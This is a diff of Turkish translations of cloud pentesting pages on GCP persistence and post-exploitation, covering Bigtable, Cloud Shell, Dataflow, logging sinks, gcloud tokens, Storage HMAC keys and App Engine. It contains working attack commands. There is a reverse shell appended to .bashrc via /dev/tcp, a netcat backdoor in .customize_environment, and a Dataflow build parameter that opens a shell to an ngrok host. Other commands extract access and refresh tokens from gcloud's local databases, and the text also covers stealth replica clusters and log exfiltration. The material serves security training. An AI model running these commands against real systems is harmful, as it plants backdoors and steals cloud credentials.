diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md
index fabe3212d..c7ad20850 100644
--- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md
@@ -4,17 +4,21 @@
## Bigtable
-Bigtable hakkında daha fazla bilgi için bakın:
+Bigtable hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
-### Saldırgana ayrılmış App Profile
+### Saldırgan için özel App Profile
**İzinler:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
-Trafiği replica cluster'ınıza yönlendiren bir app profile oluşturun ve Data Boost'u etkinleştirin; böylece defenders'ın fark edebileceği provisioned nodes'lara asla bağımlı olmazsınız.
+Trafiği replica cluster'ınıza yönlendiren bir app profile oluşturun ve Data Boost'u etkinleştirerek savunucuların fark edebileceği provisioned nodes'lara asla bağımlı olmayın.
+
+
+
+Gizli app profile oluştur
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance= --route-any --restrict-to= \
@@ -24,29 +28,43 @@ gcloud bigtable app-profiles update stealth-profile \
--instance= --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
-Bu profil var olduğu sürece, ona referans veren yeni kimlik bilgileriyle yeniden bağlanabilirsiniz.
+
+
+Bu profil var olduğu sürece ona referans veren yeni kimlik bilgileriyle yeniden bağlanabilirsiniz.
### Kendi replika kümenizi sürdürün
**İzinler:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
-Sessiz bir bölgede düşük düğüm sayılı bir küme oluşturun. İstemci kimlikleriniz kaybolsa bile, **küme her tablonun tam bir kopyasını** savunucular açıkça kaldırana kadar saklar.
+Az trafiğe sahip bir bölgede minimal düğüm sayısına sahip bir küme sağlayın. İstemci kimlikleriniz ortadan kalksa bile, **küme her tablonun tam bir kopyasını tutar**; savunucular açıkça kaldırana kadar.
+
+
+
+Replika kümesi oluştur
```bash
gcloud bigtable clusters create dark-clone \
--instance= --zone=us-west4-b --num-nodes=1
```
-Veri çekmeniz gerektiğinde anında ölçeklendirebilmeniz için `gcloud bigtable clusters describe dark-clone --instance=` ile onu takip edin.
+
+
+Bunu `gcloud bigtable clusters describe dark-clone --instance=` ile izleyin, böylece veri çekmeniz gerektiğinde anında ölçeklendirebilirsiniz.
### Replikasyonu kendi CMEK'inizin arkasına kilitleyin
-**İzinler:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
+**İzinler:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` — saldırganın sahip olduğu anahtar üzerinde.
-Clone oluştururken kendi KMS anahtarınızı getirin. O anahtar olmadan Google kümeyi yeniden oluşturamaz veya failover yapamaz, bu yüzden blue teams dokunmadan önce sizinle koordine olmak zorunda kalır.
+Klon oluştururken kendi KMS anahtarınızı getirin. O anahtar olmadan Google kümeyi yeniden oluşturamaz veya failover gerçekleştiremez; bu yüzden blue teams ona dokunmadan önce sizinle koordinasyon kurmalıdır.
+
+
+
+CMEK korumalı küme oluşturun
```bash
gcloud bigtable clusters create cmek-clone \
--instance= --zone=us-east4-b --num-nodes=1 \
--kms-key=projects//locations//keyRings//cryptoKeys/
```
-Projenizde anahtarı döndürün veya devre dışı bırakın; böylece replikayı anında brick edersiniz (sonradan tekrar açmanıza yine de izin verir).
+
+
+Projendeki anahtarı döndürün veya devre dışı bırakın, böylece replikayı anında kullanılamaz hale getirebilirsiniz (daha sonra tekrar açabilmenize izin verir).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md
index f7b84b366..c7de07361 100644
--- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md
@@ -1,60 +1,78 @@
-# GCP - Cloud Shell Sürekliliği
+# GCP - Cloud Shell Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Shell
-Daha fazla bilgi için kontrol edin:
+For more information check:
{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
-### Sürekli Arka Kapı
+### Persistent Backdoor
-[**Google Cloud Shell**](https://cloud.google.com/shell/) size tarayıcınızdan doğrudan bulut kaynaklarınıza komut satırı erişimi sağlar ve bununla ilgili herhangi bir maliyet yoktur.
+[**Google Cloud Shell**](https://cloud.google.com/shell/) tarayıcınızdan herhangi bir maliyet olmadan bulut kaynaklarınıza komut satırı erişimi sağlar.
-Google'ın Cloud Shell'ine **web konsolu** üzerinden veya **`gcloud cloud-shell ssh`** komutunu çalıştırarak erişebilirsiniz.
+You can access Google's Cloud Shell from the **web console** or running **`gcloud cloud-shell ssh`**.
-Bu konsolun saldırganlar için bazı ilginç yetenekleri vardır:
+This console has some interesting capabilities for attackers:
-1. **Google Cloud'a erişimi olan herhangi bir Google kullanıcısı**, tamamen kimlik doğrulamalı bir Cloud Shell örneğine erişim sağlar (Hizmet Hesapları, organizasyonun Sahipleri olsa bile erişebilir).
-2. Bu örnek, **hiçbir etkinlik gerçekleşmezse en az 120 gün boyunca** ana dizinini koruyacaktır.
-3. Bu örneğin etkinliğini **izleme yeteneği yoktur**.
+1. **Any Google user with access to Google Cloud** erişimi olan herhangi bir Google kullanıcısı tam kimlik doğrulamalı bir Cloud Shell örneğine erişebilir (Service Accounts can, even being Owners of the org).
+2. Belirtilen örnek, hiçbir etkinlik olmazsa **home dizinini en az 120 gün korur**.
+3. Bir kuruluşun bu örneğin etkinliğini **izleme yeteneği yoktur**.
-Bu, temelde bir saldırganın kullanıcının ana dizinine bir arka kapı koyabileceği ve kullanıcı her 120 günde bir GC Shell'e bağlandığı sürece, arka kapının hayatta kalacağı ve saldırganın her çalıştırıldığında bir shell alacağı anlamına gelir.
+Bu, bir saldırganın kullanıcının home dizinine bir backdoor yerleştirebileceği ve kullanıcı en az her 120 günde bir GC Shell'e bağlandığı sürece backdoor'un hayatta kalacağı, saldırganın da her çalıştırıldığında sadece aşağıdakini yaparak bir shell elde edeceği anlamına gelir:
+
+
+
+Add reverse shell to .bashrc
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
```
-Ev dizininde, eğer varsa, her kullanıcı **cloud shell**'e eriştiğinde **çalıştırılacak** olan başka bir dosya **`.customize_environment`** adında bulunmaktadır (önceki teknikte olduğu gibi). Kullanıcı "sık sık" cloud shell'i kullandığı sürece kalıcılığı sağlamak için önceki arka kapıyı veya aşağıdaki gibi bir arka kapıyı ekleyin:
+
+
+Ev dizininde **`.customize_environment`** adlı başka bir dosya var; eğer mevcutsa, kullanıcı **cloud shell**'e her eriştiğinde **çalıştırılacaktır** (önceki teknik gibi). Önceki backdoor'u veya aşağıdakine benzer birini ekleyin; böylece kullanıcı cloud shell'i "sıkça" kullandığı sürece kalıcılığı korursunuz:
+
+
+
+Oluştur .customize_environment backdoor
```bash
#!/bin/sh
apt-get install netcat -y
nc 443 -e /bin/bash
```
-> [!WARNING]
-> **Kimlik doğrulama gerektiren bir eylem gerçekleştirildiğinde**, kullanıcının tarayıcısında bir pop-up yetkilendirme penceresi görünür. Bu pencerenin kabul edilmesi gerekir, aksi takdirde komut çalışmaz. Beklenmedik bir pop-up görünürse, bu şüphe uyandırabilir ve kullanılan kalıcılık yöntemini tehlikeye atabilir.
+
-Bu, bulut shell'den (saldırgan olarak) `gcloud projects list` komutunu çalıştırdığınızda kullanıcının oturumunda görünen pop-up'tır:
+> [!WARNING]
+> Kimlik doğrulama gerektiren bir işlemin **ilk kez gerçekleştirildiğini** belirtmek önemlidir; kullanıcının tarayıcısında bir yetkilendirme açılır penceresi görünür. Bu pencere komutun çalışmasından önce kabul edilmelidir. Beklenmeyen bir açılır pencere görünmesi şüphe yaratabilir ve kullanılan persistence yöntemini tehlikeye atabilir.
+
+This is the pop-up from executing `gcloud projects list` from the Cloud Shell (as attacker) viewed in the browsers user session:
-Ancak, kullanıcı bulut shell'i aktif olarak kullanıyorsa, pop-up görünmeyecek ve **kullanıcının token'larını toplayabilirsiniz**:
+However, if the user has actively used the Cloud Shell, the pop-up won't appear and you can **kullanıcının tokenlerini toplamak için**:
+
+
+
+Cloud Shell'den access tokens alın
```bash
gcloud auth print-access-token
gcloud auth application-default print-access-token
```
-#### SSH bağlantısının nasıl kurulduğu
+
-Temelde, bu 3 API çağrısı kullanılır:
+#### SSH bağlantısı nasıl kurulur
-- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (yerel olarak oluşturduğunuz genel anahtarınızı eklemenizi sağlar)
-- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (örneği başlatmanızı sağlar)
-- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (google cloud shell'in ip'sini bildirir)
+Temelde bu 3 API çağrısı kullanılır:
-Ancak daha fazla bilgi bulabilirsiniz [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
+- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (lokalde oluşturduğunuz public key'i eklemenizi sağlar)
+- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (instance'ı başlatmanızı sağlar)
+- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (google cloud shell'in IP adresini verir)
-## Referanslar
+Ama daha fazla bilgi için şuraya bakabilirsiniz: [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
+
+## Kaynaklar
- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md
index 894788941..a6bbdfb28 100644
--- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md
@@ -1,12 +1,16 @@
-# GCP - Dataflow Persistence
+# GCP - Dataflow Kalıcılık
{{#include ../../../banners/hacktricks-training.md}}
## Dataflow
-### Görünmez kalıcılık, yerleşik konteynerde
+### Oluşturulmuş konteynerde görünmez kalıcılık
-[**belgelerden alınan eğitimi**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) takip ederek yeni bir (örneğin python) flex şablonu oluşturabilirsiniz:
+Dokümantasyondaki [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) takip ederek yeni bir (ör. python) flex template oluşturabilirsiniz:
+
+
+
+Backdoor içeren Dataflow flex template oluştur
```bash
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started
@@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1
```
-**İnşa edilirken, ters bir shell alacaksınız** (önceki örnekte olduğu gibi ortam değişkenlerini veya Docker dosyasını rastgele şeyler çalıştıracak şekilde ayarlayan diğer parametreleri kötüye kullanabilirsiniz). Bu anda, ters shell içinde, **`/template` dizinine gidip çalıştırılacak ana python betiğinin kodunu değiştirmek mümkündür (örneğimizde bu `getting_started.py`)**. Buraya arka kapınızı yerleştirin, böylece iş her çalıştırıldığında, bunu çalıştıracaktır.
+
-Sonra, bir sonraki iş çalıştırıldığında, oluşturulan tehlikeye atılmış konteyner çalıştırılacaktır:
+**İnşa edilirken bir reverse shell alacaksınız** (önceki örnekte olduğu gibi env variables'ları veya Docker file'ı rastgele komutlar çalıştıracak şekilde ayarlayan diğer parametreleri suistimal edebilirsiniz). Bu anda, reverse shell içinde, **`/template` dizinine gidip çalıştırılacak ana python scriptinin kodunu değiştirmek mümkündür (örneğimizde bu `getting_started.py`)**. Her job çalıştırıldığında backdoor'unuzun yürütülmesi için buraya backdoor'unuzu yerleştirin.
+
+Sonra, job bir sonraki çalıştırıldığında, derlenen compromised container çalıştırılacak:
+
+
+
+Dataflow şablonunu çalıştır
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
@@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md
index 728956f95..b16c66182 100644
--- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md
@@ -4,7 +4,7 @@
## Logging
-Logging hakkında daha fazla bilgi için:
+Logging hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-logging-enum.md
@@ -12,8 +12,14 @@ Logging hakkında daha fazla bilgi için:
### `logging.sinks.create`
-Logları bir saldırganın erişebileceği bir hedefe dışa aktarmak için bir sink oluşturun:
+Logları saldırganın erişebileceği bir hedefe exfiltrate etmek için bir sink oluşturun:
+
+
+
+Create logging sink
```bash
gcloud logging sinks create --log-filter="FILTER_CONDITION"
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md
index 1464a991f..d1c0b2a80 100644
--- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md
@@ -1,51 +1,79 @@
-# GCP - Token Sürekliliği
+# GCP - Token Kalıcılığı
{{#include ../../../banners/hacktricks-training.md}}
-### Kimlik Doğrulanmış Kullanıcı Token'ları
+### Kimliği Doğrulanmış Kullanıcı Token'ları
-Bir kullanıcının **geçerli token'ını** almak için şunu çalıştırabilirsiniz:
+Bir kullanıcının **mevcut token'ını** almak için şunu çalıştırabilirsiniz:
+
+
+
+SQLite veritabanından access token'ı alın
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';"
```
-Bu sayfada **bu token'i gcloud kullanarak doğrudan nasıl kullanacağınızı** kontrol edin:
+
+
+Bu sayfada bu token'ı gcloud kullanarak **doğrudan nasıl kullanacağınızı** inceleyin:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}
-**Yeni bir erişim token'i oluşturmak için** detayları almak üzere şunu çalıştırın:
+Yeni bir access token **oluşturmak** için ayrıntıları almak üzere şu komutu çalıştırın:
+
+
+
+SQLite veritabanından refresh token alın
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';"
```
-Ayrıca **`$HOME/.config/gcloud/application_default_credentials.json`** ve **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** dosyalarında refresh token'ları bulmak da mümkündür.
+
-Yeni bir erişim token'ı almak için **refresh token**, istemci kimliği ve istemci sırrı ile şunu çalıştırın:
+Ayrıca refresh tokens şu dosyalarda bulunabilir: **`$HOME/.config/gcloud/application_default_credentials.json`** ve **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
+
+Yeni bir refreshed access token elde etmek için **refresh token**, client ID ve client secret ile şu komutu çalıştırın:
+
+
+
+refresh token kullanarak yeni access token alın
```bash
curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
-**Admin** > **Güvenlik** > **Google Cloud oturum kontrolü** bölümünde yenileme tokenlarının geçerliliği yönetilebilir ve varsayılan olarak 16 saat olarak ayarlanmıştır, ancak asla süresinin dolmaması için ayarlanabilir:
+
+
+Refresh tokens'in geçerliliği **Admin** > **Security** > **Google Cloud session control** üzerinden yönetilebilir; varsayılan olarak 16h olarak ayarlanmıştır ancak süresiz olarak ayarlanabilir:
### Kimlik doğrulama akışı
-`gcloud auth login` gibi bir şey kullanıldığında kimlik doğrulama akışı, tarayıcıda bir istem açacak ve tüm kapsamları kabul ettikten sonra tarayıcı, aracın açtığı http portuna bu gibi bir istek gönderecektir:
+`gcloud auth login` gibi bir komut kullanıldığında kimlik doğrulama akışı tarayıcıda bir pencere açar ve tüm kapsamları kabul ettikten sonra tarayıcı, aracın açtığı http porta aşağıdaki gibi bir istek gönderir:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
-Sonra, gcloud, bazı sabit kodlanmış `client_id` (`32555940559.apps.googleusercontent.com`) ve **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) ile **son refresh token verilerini** almak için durumu ve kodu kullanacaktır.
+Sonra, gcloud state ve code'u önceden sabitlenmiş bir `client_id` (`32555940559.apps.googleusercontent.com`) ve **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) ile kullanarak **final refresh token data**'yı alacaktır.
> [!CAUTION]
-> localhost ile iletişimin HTTP üzerinden olduğunu unutmayın, bu nedenle bir refresh token almak için verileri yakalamak mümkündür, ancak bu veri yalnızca 1 kez geçerlidir, bu yüzden bu işe yaramaz, refresh token'ı dosyadan okumak daha kolaydır.
+> localhost ile yapılan iletişimin HTTP üzerinden olduğunu unutmayın; bu yüzden veriyi yakalayarak refresh token elde etmek mümkün olabilir. Ancak bu veri yalnızca bir kez geçerlidir, bu yüzden bu işe yaramaz — refresh token'ı dosyadan okumak daha kolay olacaktır.
### OAuth Kapsamları
-Tüm Google kapsamlarını [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) adresinde bulabilir veya bunları çalıştırarak alabilirsiniz:
+Tüm Google kapsamlarını [https://developers.google.com/identity/protocols/oauth2/scopes] adresinde bulabilirsiniz veya şu komutu çalıştırarak alabilirsiniz:
+
+
+
+Tüm Google OAuth kapsamlarını al
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
-Bu betikle **`gcloud`**'un kimlik doğrulamak için kullanabileceği kapsamların hangileri olduğunu görmek mümkündür:
+
+
+Bu script ile **`gcloud`**'un kimlik doğrulama için kullandığı uygulamanın destekleyebileceği kapsamları görmek mümkündür:
+
+
+
+gcloud için desteklenen kapsamları test et
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -55,7 +83,9 @@ echo $scope
fi
done
```
-Bunu çalıştırdıktan sonra, bu uygulamanın bu kapsamları desteklediği kontrol edildi:
+
+
+Bunu çalıştırdıktan sonra bu uygulamanın şu scopes'ları desteklediği kontrol edildi:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
@@ -65,22 +95,22 @@ https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
-ilginçtir ki bu uygulamanın **`drive`** kapsamını desteklemesi, bir saldırganın kullanıcıyı bu kapsamla bir token oluşturması için zorlaması durumunda, kullanıcının GCP'den Workspace'e geçiş yapmasına olanak tanıyabilir.
+Bu uygulamanın **`drive`** scope'unu desteklemesi ilginç; eğer bir saldırgan kullanıcıyı bu scope ile bir token üretmeye zorlayabilirse kullanıcı GCP'den Workspace'e yükseltme yapabilir.
-**Bunu nasıl** [**istismar edeceğinizi buradan kontrol edin**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
+**Nasıl istismar edileceğini** [**buradan inceleyin**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
-### Hizmet Hesapları
+### Servis Hesapları
-Kimlik doğrulaması yapılmış kullanıcılarla olduğu gibi, eğer bir hizmet hesabının **özel anahtar dosyasını ele geçirirseniz**, genellikle **istediğiniz kadar erişim sağlayabilirsiniz**.\
-Ancak, bir hizmet hesabının **OAuth token'ını çalarsanız, bu daha da ilginç olabilir, çünkü bu token'lar varsayılan olarak sadece bir saat boyunca geçerli olsa da, eğer **kurban özel API anahtarını silerse, OAuth token'ı süresi dolana kadar geçerli kalacaktır**.
+Yetkilendirilmiş kullanıcılar ile olduğu gibi, bir servis hesabının **özel anahtar dosyasını** ele geçirirseniz genellikle **istediğiniz süre boyunca ona erişebilirsiniz**.\
+Ancak, bir servis hesabının **OAuth token**'ını çalarsanız bu daha da ilginç olabilir; çünkü bu tokenlar varsayılan olarak sadece bir saat geçerli olsa bile, eğer **hedef özel api key'i silerse, OAuth token'ı süresi dolana kadar hâlâ geçerli kalır**.
### Metadata
-Açıkça, GCP ortamında çalışan bir makinenin içindeyseniz, **o makineye bağlı hizmet hesabına erişim sağlayabileceksiniz, bu da metadata uç noktasına ulaşarak mümkündür** (bu uç noktada erişebileceğiniz OAuth token'larının genellikle kapsamlarla kısıtlandığını unutmayın).
+GCP ortamında çalışan bir makinenin içinde olduğunuz sürece, **o makineye bağlı servis hesabına metadata endpoint ile erişebileceğinizi** açıkça söylemeye gerek yok (bu endpoint'te erişebildiğiniz OAuth token'larının genellikle scope'larla kısıtlı olduğunu unutmayın).
-### Çözüm Önerileri
+### Düzeltmeler
-Bu teknikler için bazı çözüm önerileri [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) adresinde açıklanmıştır.
+Bu teknikler için bazı düzeltmeler şu adreste açıklanmıştır [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
### Referanslar
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md
index fd493b747..a4e001e06 100644
--- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md
@@ -1,10 +1,10 @@
-# GCP - Depolama Sürekliliği
+# GCP - Storage Kalıcılık
{{#include ../../../banners/hacktricks-training.md}}
-## Depolama
+## Storage
-Cloud Storage hakkında daha fazla bilgi için kontrol edin:
+Cloud Storage hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,7 +12,11 @@ Cloud Storage hakkında daha fazla bilgi için kontrol edin:
### `storage.hmacKeys.create`
-Bir bucket üzerinde sürekliliği sağlamak için bir HMAC oluşturabilirsiniz. Bu teknik hakkında daha fazla bilgi için [**buradan kontrol edin**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
+Bir bucket üzerinde kalıcılığı sürdürmek için bir HMAC oluşturabilirsiniz. Bu teknik hakkında daha fazla bilgi için [**buraya bakın**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
+
+
+
+Storage erişimi için HMAC anahtarı oluşturma ve kullanma
```bash
# Create key
gsutil hmac create
@@ -23,11 +27,13 @@ gsutil config -a
# Use it
gsutil ls gs://[BUCKET_NAME]
```
-Başka bir istismar betiği bu yöntem için [burada](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) bulunabilir.
+
-### Kamu Erişimi Verme
+Bu yöntem için başka bir exploit scripti [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) adresinde bulunabilir.
-**Bir kovayı kamuya açık hale getirmek**, kova üzerindeki erişimi sürdürmenin bir başka yoludur. Bunu nasıl yapacağınızı kontrol edin:
+### Herkese Açık Erişim Sağlama
+
+**Bir bucket'i herkese açık hale getirmek** bucket üzerinde erişimi sürdürmenin başka bir yoludur. Nasıl yapılacağını şu belgede kontrol edin:
{{#ref}}
../gcp-post-exploitation/gcp-storage-post-exploitation.md
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md
index 1015c7305..5039f4abf 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md
@@ -4,7 +4,7 @@
## `App Engine`
-App Engine hakkında bilgi için kontrol edin:
+For information about App Engine check:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -12,30 +12,36 @@ App Engine hakkında bilgi için kontrol edin:
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
-Bu izinlerle şunları yapmak mümkündür:
+Bu izinlerle şunlar yapılabilir:
-- Bir anahtar eklemek
-- Anahtarları listelemek
-- Bir anahtarı almak
-- Silmek
+- Anahtar ekleme
+- Anahtarları listeleme
+- Anahtarı alma
+- Silme
> [!CAUTION]
-> Ancak, **bu bilgilere cli üzerinden erişmenin bir yolunu bulamadım**, yalnızca **web konsolundan** erişebilirsiniz, burada **Anahtar türünü** ve **Anahtar adını** bilmeniz gerekir, ya da **çalışan uygulama** üzerinden.
+> Ancak, bu bilgilere **CLI'den erişmenin bir yolunu bulamadım**, yalnızca **web console** üzerinden erişilebiliyor; burada **Key type** ve **Key name**'i bilmeniz gerekiyor ya da **App Engine**'de çalışan uygulamadan.
>
-> Bu izinleri kullanmanın daha kolay yollarını biliyorsanız bir Pull Request gönderin!
+> Bu izinleri kullanmanın daha kolay yollarını biliyorsanız Pull Request gönderin!
### `logging.views.access`
-Bu izinle **Uygulamanın günlüklerini görmek** mümkündür:
+Bu izinle **App'in loglarını görebilirsiniz**:
+
+
+
+Uygulama loglarını takip et
```bash
gcloud app logs tail -s
```
+
+
### Kaynak Kodunu Oku
-Tüm versiyonların ve hizmetlerin kaynak kodu **`staging..appspot.com`** adıyla **bucket** içinde **saklanmaktadır**. Eğer üzerinde yazma erişiminiz varsa, kaynak kodunu okuyabilir ve **açıklar** ile **hassas bilgileri** arayabilirsiniz.
+Tüm sürümlerin ve servislerin kaynak kodu **bucket'ta saklanır**; adı **`staging..appspot.com`**. Eğer üzerinde yazma erişiminiz varsa kaynak kodunu okuyabilir ve **zayıflıklar** ile **hassas bilgileri** arayabilirsiniz.
### Kaynak Kodunu Değiştir
-Kimlik bilgilerini çalmak için kaynak kodunu değiştirin eğer gönderiliyorsa veya bir defacement web saldırısı gerçekleştirin.
+Kaynak kodunu, credentials gönderiliyorsa bunları çalmak veya bir defacement web attack gerçekleştirmek için değiştirin.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md
index 2edcf4d02..40f6bfee0 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md
@@ -11,30 +11,46 @@ Bigtable hakkında daha fazla bilgi için bakınız:
{{#endref}}
> [!TIP]
